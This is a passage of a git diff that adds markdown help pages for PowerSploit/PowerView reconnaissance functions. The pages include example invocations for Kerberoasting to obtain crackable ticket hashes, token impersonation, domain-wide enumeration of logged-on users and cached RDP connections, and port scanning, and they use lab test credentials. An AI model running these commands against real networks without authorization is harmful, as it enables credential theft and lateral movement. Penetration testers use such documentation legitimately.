+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.RegLoggedOnUser + +A PSCustomObject including the UserDomain/UserName/UserSID of each +actively logged on user, with the ComputerName added. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIProcess.md b/docs/Recon/Get-WMIProcess.md new file mode 100755 index 00000000..481dbb61 --- /dev/null +++ b/docs/Recon/Get-WMIProcess.md @@ -0,0 +1,80 @@ +# Get-WMIProcess + +## SYNOPSIS +Returns a list of processes and their owners on the local or remote machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WMIProcess [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, +including the owners of the particular process. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIProcess -ComputerName WINDOWS1 +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.UserProcess + +A PSCustomObject containing the remote process information. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegCachedRDPConnection.md b/docs/Recon/Get-WMIRegCachedRDPConnection.md new file mode 100755 index 00000000..fe602283 --- /dev/null +++ b/docs/Recon/Get-WMIRegCachedRDPConnection.md @@ -0,0 +1,99 @@ +# Get-WMIRegCachedRDPConnection + +## SYNOPSIS +Returns information about RDP connections outgoing from the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +## SYNTAX + +``` +Get-WMIRegCachedRDPConnection [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Uses remote registry functionality to query all entries for the +"Windows Remote Desktop Connection Client" on a machine, separated by +user and target server. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegCachedRDPConnection +``` + +Returns the RDP connection client information for the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-WMIRegCachedRDPConnection -ComputerName WINDOWS2.testlab.local +``` + +Returns the RDP connection client information for the WINDOWS2.testlab.local machine + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-WMIRegCachedRDPConnection +``` + +Returns cached RDP information for all machines in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.CachedRDPConnection + +A PSCustomObject containing the ComputerName and cached RDP information. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegLastLoggedOn.md b/docs/Recon/Get-WMIRegLastLoggedOn.md new file mode 100755 index 00000000..bed39e03 --- /dev/null +++ b/docs/Recon/Get-WMIRegLastLoggedOn.md @@ -0,0 +1,98 @@ +# Get-WMIRegLastLoggedOn + +## SYNOPSIS +Returns the last user who logged onto the local (or a remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WMIRegLastLoggedOn [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +This function uses remote registry to enumerate the LastLoggedOnUser registry key +for the local (or remote) machine. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegLastLoggedOn +``` + +Returns the last user logged onto the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-WMIRegLastLoggedOn -ComputerName WINDOWS1 +``` + +Returns the last user logged onto WINDOWS1 + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-WMIRegLastLoggedOn +``` + +Returns the last user logged onto all machines in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegLastLoggedOn -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for remote registry values (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LastLoggedOnUser + +A PSCustomObject containing the ComputerName and last loggedon user. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegMountedDrive.md b/docs/Recon/Get-WMIRegMountedDrive.md new file mode 100755 index 00000000..353bcf0c --- /dev/null +++ b/docs/Recon/Get-WMIRegMountedDrive.md @@ -0,0 +1,97 @@ +# Get-WMIRegMountedDrive + +## SYNOPSIS +Returns information about saved network mounted drives for the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +## SYNTAX + +``` +Get-WMIRegMountedDrive [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Uses remote registry functionality to enumerate recently mounted network drives. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegMountedDrive +``` + +Returns the saved network mounted drives for the local machine. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local +``` + +Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer | Get-WMIRegMountedDrive +``` + +Returns the saved network mounted drives for all machines in the domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred + +## PARAMETERS + +### -ComputerName +Specifies the hostname to query for mounted drive information (also accepts IP addresses). +Defaults to 'localhost'. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: Localhost +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.RegMountedDrive + +A PSCustomObject containing the ComputerName and mounted drive information. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-WMIRegProxy.md b/docs/Recon/Get-WMIRegProxy.md new file mode 100755 index 00000000..b5fe9668 --- /dev/null +++ b/docs/Recon/Get-WMIRegProxy.md @@ -0,0 +1,93 @@ +# Get-WMIRegProxy + +## SYNOPSIS +Enumerates the proxy server and WPAD conents for the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-WMIRegProxy [[-ComputerName] ] [-Credential ] +``` + +## DESCRIPTION +Enumerates the proxy server and WPAD specification for the current user +on the local machine (default), or a machine specified with -ComputerName. +It does this by enumerating settings from +HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-WMIRegProxy +``` + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +WINDOWS1 http://primary.test... + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Cred = Get-Credential "TESTLAB\administrator" +``` + +Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local + +ComputerName ProxyServer AutoConfigURL Wpad +------------ ----------- ------------- ---- +windows1.testlab.local primary.testlab.local + +## PARAMETERS + +### -ComputerName +Specifies the system to enumerate proxy settings on. +Defaults to the local host. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: HostName, dnshostname, name + +Required: False +Position: 1 +Default value: $Env:COMPUTERNAME +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connecting to the remote system. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### String + +Accepts one or more computer name specification strings on the pipeline (netbios or FQDN). + +## OUTPUTS + +### PowerView.ProxySettings + +Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Invoke-Kerberoast.md b/docs/Recon/Invoke-Kerberoast.md new file mode 100755 index 00000000..edfb89bf --- /dev/null +++ b/docs/Recon/Invoke-Kerberoast.md @@ -0,0 +1,233 @@ +# Invoke-Kerberoast + +## SYNOPSIS +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket + +## SYNTAX + +``` +Invoke-Kerberoast [[-Identity] ] [-Domain ] [-LDAPFilter ] [-SearchBase ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-OutputFormat ] [-Credential ] +``` + +## DESCRIPTION +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat \. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-Kerberoast | fl +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-Kerberoast -Domain dev.testlab.local | fl +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) +Invoke-Kerberoast -Credential $Cred -Verbose | fl + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name, MemberDistinguishedName, MemberName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OutputFormat +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Format + +Required: False +Position: Named +Default value: John +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Invoke-Portscan.md b/docs/Recon/Invoke-Portscan.md new file mode 100755 index 00000000..49d9e327 --- /dev/null +++ b/docs/Recon/Invoke-Portscan.md @@ -0,0 +1,430 @@ +# Invoke-Portscan + +## SYNOPSIS +Simple portscan module + +PowerSploit Function: Invoke-Portscan +Author: Rich Lundeen (http://webstersProdigy.net) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### cmdHosts +``` +Invoke-Portscan -Hosts [-ExcludeHosts ] [-Ports ] [-PortFile ] + [-TopPorts ] [-ExcludedPorts ] [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts ] + [-Threads ] [-nHosts ] [-Timeout ] [-SleepTimer ] [-SyncFreq ] [-T ] + [-GrepOut ] [-XmlOut ] [-ReadableOut ] [-AllformatsOut ] [-noProgressMeter] + [-quiet] [-ForceOverwrite] +``` + +### fHosts +``` +Invoke-Portscan -HostFile [-ExcludeHosts ] [-Ports ] [-PortFile ] + [-TopPorts ] [-ExcludedPorts ] [-SkipDiscovery] [-PingOnly] [-DiscoveryPorts ] + [-Threads ] [-nHosts ] [-Timeout ] [-SleepTimer ] [-SyncFreq ] [-T ] + [-GrepOut ] [-XmlOut ] [-ReadableOut ] [-AllformatsOut ] [-noProgressMeter] + [-quiet] [-ForceOverwrite] +``` + +## DESCRIPTION +Does a simple port scan using regular sockets, based (pretty) loosely on nmap + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-Portscan -Hosts "webstersprodigy.net,google.com,microsoft.com" -TopPorts 50 +``` + +Description +----------- +Scans the top 50 ports for hosts found for webstersprodigy.net,google.com, and microsoft.com + +### -------------------------- EXAMPLE 2 -------------------------- +``` +echo webstersprodigy.net | Invoke-Portscan -oG test.gnmap -f -ports "80,443,8080" +``` + +Description +----------- +Does a portscan of "webstersprodigy.net", and writes a greppable output file + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 25 -oA localnet +``` + +Description +----------- +Scans the top 20 ports for hosts found in the 192.168.1.1/24 range, outputs all file formats + +## PARAMETERS + +### -Hosts +Include these comma seperated hosts (supports IPv4 CIDR notation) or pipe them in + +```yaml +Type: String[] +Parameter Sets: cmdHosts +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -HostFile +Input hosts from file rather than commandline + +```yaml +Type: String +Parameter Sets: fHosts +Aliases: iL + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeHosts +Exclude these comma seperated hosts + +```yaml +Type: String +Parameter Sets: (All) +Aliases: exclude + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Ports +Include these comma seperated ports (can also be a range like 80-90) + +```yaml +Type: String +Parameter Sets: (All) +Aliases: p + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PortFile +Input ports from a file + +```yaml +Type: String +Parameter Sets: (All) +Aliases: iP + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TopPorts +Include the x top ports - only goes to 1000, default is top 50 + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludedPorts +Exclude these comma seperated ports + +```yaml +Type: String +Parameter Sets: (All) +Aliases: xPorts + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SkipDiscovery +Treat all hosts as online, skip host discovery + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Pn + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PingOnly +Ping scan only (disable port scan) + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: sn + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DiscoveryPorts +Comma separated ports used for host discovery. +-1 is a ping + +```yaml +Type: String +Parameter Sets: (All) +Aliases: PS + +Required: False +Position: Named +Default value: -1,445,80,443 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +number of max threads for the thread pool (per host) + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 100 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -nHosts +number of hosts to concurrently scan + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 25 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Timeout +Timeout time on a connection in miliseconds before port is declared filtered + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 2000 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SleepTimer +Wait before thread checking, in miliseconds + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 500 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SyncFreq +How often (in terms of hosts) to sync threads and flush output + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 1024 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -T +\[0-5\] shortcut performance options. +Default is 3. +higher is more aggressive. +Sets (nhosts, threads,timeout) + 5 {$nHosts=30; $Threads = 1000; $Timeout = 750 } + 4 {$nHosts=25; $Threads = 1000; $Timeout = 1200 } + 3 {$nHosts=20; $Threads = 100; $Timeout = 2500 } + 2 {$nHosts=15; $Threads = 32; $Timeout = 3000 } + 1 {$nHosts=10; $Threads = 32; $Timeout = 5000 } + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -GrepOut +Greppable output file + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oG + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -XmlOut +output XML file + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oX + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ReadableOut +output file in 'readable' format + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oN + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AllformatsOut +output in readable (.nmap), xml (.xml), and greppable (.gnmap) formats + +```yaml +Type: String +Parameter Sets: (All) +Aliases: oA + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -noProgressMeter +Suppresses the progress meter + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -quiet +supresses returned output and don't store hosts in memory - useful for very large scans + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: q + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ForceOverwrite +Force Overwrite if output Files exist. +Otherwise it throws exception + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: F + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://webstersprodigy.net](http://webstersprodigy.net) + diff --git a/docs/Recon/Invoke-ReverseDnsLookup.md b/docs/Recon/Invoke-ReverseDnsLookup.md new file mode 100755 index 00000000..348ad91b --- /dev/null +++ b/docs/Recon/Invoke-ReverseDnsLookup.md @@ -0,0 +1,106 @@ +# Invoke-ReverseDnsLookup + +## SYNOPSIS +Perform a reverse DNS lookup scan on a range of IP addresses. + +PowerSploit Function: Invoke-ReverseDnsLookup +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-ReverseDnsLookup [-IpRange] +``` + +## DESCRIPTION +Invoke-ReverseDnsLookup scans an IP address range for DNS PTR records. +This script is useful for performing DNS reconnaisance prior to conducting an authorized penetration test. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-ReverseDnsLookup 74.125.228.0/29 +``` + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.2 iad23s05-in-f2.1e100.net +74.125.228.3 iad23s05-in-f3.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses specified by the CIDR range. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' +``` + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses specified by the IP range specified. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup +``` + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.2 iad23s05-in-f2.1e100.net +74.125.228.3 iad23s05-in-f3.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses piped from another source. + +## PARAMETERS + +### -IpRange +Specifies the IP address range. +The range provided can be in the form of a single IP address, a low-high range, or a CIDR range. +Comma-delimited ranges may can be provided. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com +https://github.com/mattifestation/PowerSploit]() + diff --git a/docs/Recon/Invoke-RevertToSelf.md b/docs/Recon/Invoke-RevertToSelf.md new file mode 100755 index 00000000..4e978ac3 --- /dev/null +++ b/docs/Recon/Invoke-RevertToSelf.md @@ -0,0 +1,56 @@ +# Invoke-RevertToSelf + +## SYNOPSIS +Reverts any token impersonation. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Invoke-RevertToSelf [[-TokenHandle] ] +``` + +## DESCRIPTION +This function uses RevertToSelf() to revert any impersonated tokens. +If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), +CloseHandle() is used to close the opened handle. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$Token = Invoke-UserImpersonation -Credential $Cred +Invoke-RevertToSelf -TokenHandle $Token + +## PARAMETERS + +### -TokenHandle +An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. + +```yaml +Type: IntPtr +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Invoke-UserImpersonation.md b/docs/Recon/Invoke-UserImpersonation.md new file mode 100755 index 00000000..6b1afc47 --- /dev/null +++ b/docs/Recon/Invoke-UserImpersonation.md @@ -0,0 +1,100 @@ +# Invoke-UserImpersonation + +## SYNOPSIS +Creates a new "runas /netonly" type logon and impersonates the token. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +### Credential (Default) +``` +Invoke-UserImpersonation -Credential [-Quiet] +``` + +### TokenHandle +``` +Invoke-UserImpersonation -TokenHandle [-Quiet] +``` + +## DESCRIPTION +This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType +to simulate "runas /netonly". +The resulting token is then impersonated with +ImpersonateLoggedOnUser() and the token handle is returned for later usage +with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred + +## PARAMETERS + +### -Credential +A \[Management.Automation.PSCredential\] object with alternate credentials +to impersonate in the current thread space. + +```yaml +Type: PSCredential +Parameter Sets: Credential +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -TokenHandle +An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. +If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() +is executed. + +```yaml +Type: IntPtr +Parameter Sets: TokenHandle +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Quiet +Suppress any warnings about STA vs MTA. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### IntPtr + +The TokenHandle result from LogonUser. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/New-DomainGroup.md b/docs/Recon/New-DomainGroup.md new file mode 100755 index 00000000..fc5cac09 --- /dev/null +++ b/docs/Recon/New-DomainGroup.md @@ -0,0 +1,150 @@ +# New-DomainGroup + +## SYNOPSIS +Creates a new domain group (assuming appropriate 